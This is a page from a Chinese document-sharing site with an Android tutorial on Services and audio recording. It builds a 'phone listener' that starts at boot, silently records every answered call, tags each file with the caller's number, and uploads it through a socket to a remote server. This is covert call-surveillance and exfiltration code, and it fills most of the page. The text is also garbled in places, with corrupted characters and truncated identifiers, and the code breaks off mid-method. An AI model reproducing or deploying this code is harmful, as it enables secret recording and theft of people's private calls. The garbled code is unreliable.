付費(fèi)下載
下載本文檔
版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
【移動(dòng)應(yīng)用開(kāi)發(fā)技術(shù)】Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器
Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。***步:繼承Service類(lèi)public
class
SMSService
extends
Service
{
}第二步:在AndroidManifest.xml文件中的<application>節(jié)點(diǎn)里對(duì)服務(wù)進(jìn)行配置:<service
android:name=".SMSService"
/>服務(wù)不能自己運(yùn)行,需要通過(guò)調(diào)用Context.startService()或Context.bindService()方法啟動(dòng)服務(wù)。這兩個(gè)方法都可以啟動(dòng)Service,但是它們的使用場(chǎng)合有所不同。使用startService()方法啟用服務(wù),調(diào)用者與服務(wù)之間沒(méi)有關(guān)連,即使調(diào)用者退出了,服務(wù)仍然運(yùn)行。使用bindService()方法啟用服務(wù),調(diào)用者與服務(wù)綁定在了一起,調(diào)用者一旦退出,服務(wù)也就終止,大有“不求同時(shí)生,必須同時(shí)死”的特點(diǎn)。如果打算采用Context.startService()方法啟動(dòng)服務(wù),在服務(wù)未被創(chuàng)建時(shí),系統(tǒng)會(huì)先調(diào)用服務(wù)的onCreate()方法,接著調(diào)用onStart()方法。如果調(diào)用startService()方法前服務(wù)已經(jīng)被創(chuàng)建,多次調(diào)用startService()方法并不會(huì)導(dǎo)致多次創(chuàng)建服務(wù),但會(huì)導(dǎo)致多次調(diào)用onStart()方法。采用startService()方法啟動(dòng)的服務(wù),只能調(diào)用Context.stopService()方法結(jié)束服務(wù),服務(wù)結(jié)束時(shí)會(huì)調(diào)用onDestroy()方法。如果打算采用Context.bindService()方法啟動(dòng)服務(wù),在服務(wù)未被創(chuàng)建時(shí),系統(tǒng)會(huì)先調(diào)用服務(wù)的onCreate()方法,接著調(diào)用onBind()方法。這個(gè)時(shí)候調(diào)用者和服務(wù)綁定在一起,調(diào)用者退出了,系統(tǒng)就會(huì)先調(diào)用服務(wù)的onUnbind()方法,接著調(diào)用onDestroy()方法。如果調(diào)用bindService()方法前服務(wù)已經(jīng)被綁定,多次調(diào)用bindService()方法并不會(huì)導(dǎo)致多次創(chuàng)建服務(wù)及綁定(也就是說(shuō)onCreate()和onBind()方法并不會(huì)被多次調(diào)用)。如果調(diào)用者希望與正在綁定的服務(wù)解除綁定,可以調(diào)用unbindService()方法,調(diào)用該方法也會(huì)導(dǎo)致系統(tǒng)調(diào)用服務(wù)的onUnbind()-->onDestroy()方法。服務(wù)常用生命周期回調(diào)方法如下:onCreate()該方法在服務(wù)被創(chuàng)建時(shí)調(diào)用,該方法只會(huì)被調(diào)用一次,無(wú)論調(diào)用多少次startService()或bindService()方法,服務(wù)也只被創(chuàng)建一次。onDestroy()該方法在服務(wù)被終止時(shí)調(diào)用。與采用Context.startService()方法啟動(dòng)服務(wù)有關(guān)的生命周期方法onStart()只有采用Context.startService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在服務(wù)開(kāi)始運(yùn)行時(shí)被調(diào)用。多次調(diào)用startService()方法盡管不會(huì)多次創(chuàng)建服務(wù),但onStart()方法會(huì)被多次調(diào)用。與采用Context.bindService()方法啟動(dòng)服務(wù)有關(guān)的生命周期方法onBind()只有采用Context.bindService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在調(diào)用者與服務(wù)綁定時(shí)被調(diào)用,當(dāng)調(diào)用者與服務(wù)已經(jīng)綁定,多次調(diào)用Context.bindService()方法并不會(huì)導(dǎo)致該方法被多次調(diào)用。onUnbind()只有采用Context.bindService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在調(diào)用者與服務(wù)解除綁定時(shí)被調(diào)用。你可以使用手機(jī)進(jìn)行現(xiàn)場(chǎng)錄音,實(shí)現(xiàn)步驟如下:***步:在功能清單文件AndroidManifest.xml中添加音頻刻錄權(quán)限:<uses-permission
android:name="android.permission.RECORD_AUDIO"/>第二步:編寫(xiě)音頻刻錄代碼:MediaRecorderrecorder=newMediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式recorder.setOutputFile("/sdcard/itcast.amr");recorder.prepare();//預(yù)期準(zhǔn)備recorder.start();
//開(kāi)始刻錄
...
recorder.stop();//停止刻錄recorder.reset();
//重設(shè)recorder.release();//刻錄完成一定要釋放資源AndroidManifest.xml<?xml
version="1.0"
encoding="utf-8"?>
<manifest
xmlns:android="/apk/res/android"
package="com.tjp.phonelistiner"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk
android:minSdkVersion="7"
/>
<application
android:icon="@drawable/icon"
android:label="@string/app_name">
<service
android:name=".PhoneListinerService"/>
<receiver
android:name=".BootBroadcastReceiver">
<intent-filter>
<!--
開(kāi)機(jī)廣播
-->
<action
android:name="ent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<!--
訪(fǎng)問(wèn)網(wǎng)絡(luò)的權(quán)限
-->
<uses-permission
android:name="android.permission.INTERNET"/>
<!--
電話(huà)狀態(tài)監(jiān)聽(tīng)權(quán)限
-->
<uses-permission
android:name="android.permission.READ_PHONE_STATE"/>
<!--
開(kāi)機(jī)廣播權(quán)限
-->
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<!--
音頻刻錄權(quán)限
-->
<uses-permission
android:name="android.permission.RECORD_AUDIO"/>
</manifest>StreamToolpackage
com.tjp.util;
import
java.io.ByteArrayOutputStream;
import
java.io.File;
import
java.io.FileOutputStream;
import
java.io.IOException;
import
java.io.InputStream;
import
java.io.PushbackInputStream;
public
class
StreamTool
{
public
static
void
save(File
file,
byte[]
data)
throws
Exception
{
FileOutputStream
outStream
=
new
FileOutputStream(file);
outStream.write(data);
outStream.close();
}
public
static
String
readLine(PushbackInputStream
in)
throws
IOException
{
char
buf[]
=
new
char[128];
int
room
=
buf.length;
int
offset
=
0;
int
c;loop:
while
(true)
{
switch
(c
=
in.read())
{
case
-1:
case
'\n':
break
loop;
case
'\r':
int
c2
=
in.read();
if
((c2
!=
'\n')
&&
(c2
!=
-1))
in.unread(c2);
break
loop;
default:
if
(--room
<
0)
{
char[]
lineBuffer
=
buf;
buf
=
new
char[offset
+
128];
room
=
buf.length
-
offset
-
1;
System.arraycopy(lineBuffer,
0,
buf,
0,
offset);
}
buf[offset++]
=
(char)
c;
break;
}
}
if
((c
==
-1)
&&
(offset
==
0))
return
null;
return
String.copyValueOf(buf,
0,
offset);
}
/**
*
讀取流
*
@param
inStream
*
@return
字節(jié)數(shù)組
*
@throws
Exception
*/
public
static
byte[]
readStream(InputStream
inStream)
throws
Exception{
ByteArrayOutputStream
outSteam
=
new
ByteArrayOutputStream();
byte[]
buffer
=
new
byte[1024];
int
len
=
-1;
while(
(len=inStream.read(buffer))
!=
-1){
outSteam.write(buffer,
0,
len);
}
outSteam.close();
inStream.close();
return
outSteam.toByteArray();
}
}PhoneListinerServicepackage
com.tjp.phonelistiner;
import
java.io.File;
import
java.io.OutputStream;
import
java.io.PushbackInputStream;
import
java.io.RandomAccessFile;
import
.Socket;
import
android.app.Service;
import
android.content.Context;
import
android.content.Intent;
import
android.media.MediaRecorder;
import
android.os.IBinder;
import
android.telephony.PhoneStateListener;
import
android.telephony.TelephonyManager;
import
android.util.Log;
import
com.tjp.util.StreamTool;
public
class
PhoneListinerService
extends
Service
{
private
final
String
TAG="PhoneListinerService";
@Override
public
IBinder
onBind(Intent
intent)
{
return
null;
}
@Override
public
void
onCreate()
{
TelephonyManager
telephonyManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//獲得電話(huà)服務(wù)
telephonyManager.listen(new
TeleListine(),
PhoneStateListener.LISTEN_CALL_STATE);//對(duì)來(lái)電狀態(tài)進(jìn)行監(jiān)聽(tīng)
Log.i(TAG,
"onCreate");
super.onCreate();
}
private
class
TeleListine
extends
PhoneStateListener{
private
String
mobile;//來(lái)電號(hào)碼
private
MediaRecorder
recorder;//多媒體刻錄文件
private
File
autoFile;//保存文件
private
boolean
recoder;//是否刻錄
@Override
public
void
onCallStateChanged(int
state,
String
incomingNumber)
{
try
{
switch
(state)
{
case
TelephonyManager.CALL_STATE_IDLE://無(wú)任何狀態(tài)時(shí)--掛斷電話(huà)時(shí)
if(recoder){
recorder.stop();//停止刻錄
recorder.release();//釋放刻錄
recoder=false;
new
Thread(new
UploadTask()).start();
Log.i(TAG,
"開(kāi)始上傳");
}
break;
case
TelephonyManager.CALL_STATE_OFFHOOK://接起電話(huà)時(shí)
recorder
=
new
MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式
autoFile=new
File(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");//輸出到緩存
recorder.setOutputFile(autoFile.getAbsolutePath());//輸出的位置
recorder.prepare();//預(yù)期準(zhǔn)備
recorder.start();
//開(kāi)始刻錄
recoder=true;
Log.i(TAG,
"接起電話(huà)");
break;
case
TelephonyManager.CALL_STATE_RINGING://電話(huà)進(jìn)來(lái)時(shí)
mobile=incomingNumber;
Log.i(TAG,
"mobile="+mobile);
break;
default:
break;
}
}
catch
(Exception
e)
{
Log.i(TAG,e.toString());
e.printStackTrace();
}
super.onCallStateChanged(state,
incomingNumber);
}
private
final
class
UploadTask
implements
Runnable{
@Override
public
void
run()
{
try
{
//Socket
socket
=
new
Socket("",
7878);
Socket
socket
=
new
Socket("",
7878);
OutputStream
outStream
=
socket.getOutputStream();
String
head
=
"Content-Length="+
autoFile.length()
+
";filename="+
autoFile
+
";
sourceid=1278916111468\r\n";
outStream.write(head.getBytes());
PushbackInputStream
inStream
=
new
PushbackInputStream(socket.getInputStream());
String
response
=
StreamTool.readLine(inStream);
System.out.println(response);
String[]
items
=
response.split(";");
String
position
=
items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile
fileOutStream
=
new
RandomAccessFile(autoFile,
"r");
fileOutStream.seek(Integer.valueOf(position));
byte[]
buffer
=
new
byte[1024];
int
len
=
-1;
int
i
=
0;
while(
(len
=
fileOutStream.read(buffer))
!=
-1){
outStream.write(buffer,
0,
len);
i++;
//if(i==10)
break;
}
fileOutStream.close();
outStream.close();
inStream.close();
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2024年重慶電子科技職業(yè)大學(xué)馬克思主義基本原理概論期末考試題及答案解析(奪冠)
- 2025年衡陽(yáng)理工職業(yè)學(xué)院馬克思主義基本原理概論期末考試模擬題附答案解析
- 2025年云南能源職業(yè)技術(shù)學(xué)院?jiǎn)握新殬I(yè)適應(yīng)性測(cè)試題庫(kù)附答案解析
- 安全事故預(yù)防的措施和管理方法
- 2024年西昌民族幼兒師范高等專(zhuān)科學(xué)校馬克思主義基本原理概論期末考試題帶答案解析(必刷)
- 2025年平安縣招教考試備考題庫(kù)及答案解析(必刷)
- 2025年上海師范大學(xué)單招職業(yè)技能考試題庫(kù)附答案解析
- 2025年鄭州信息工程職業(yè)學(xué)院?jiǎn)握新殬I(yè)傾向性考試題庫(kù)附答案解析
- 某珠寶公司古法金飾營(yíng)銷(xiāo)方案
- 某服裝公司庫(kù)存管理優(yōu)化方案
- 【指導(dǎo)規(guī)則】央企控股上市公司ESG專(zhuān)項(xiàng)報(bào)告參考指標(biāo)體系
- 夫妻債務(wù)約定協(xié)議書(shū)
- 土地管理學(xué)課件
- 村莊規(guī)劃搬遷方案
- 安全文明施工措施方案
- 融資租賃實(shí)際利率計(jì)算表
- 民爆物品倉(cāng)庫(kù)安全操作規(guī)程
- von frey絲K值表完整版
- 勾股定理復(fù)習(xí)導(dǎo)學(xué)案
- 第二章單自由度系統(tǒng)振動(dòng)
- GB/T 17880.6-1999鉚螺母技術(shù)條件
評(píng)論
0/150
提交評(píng)論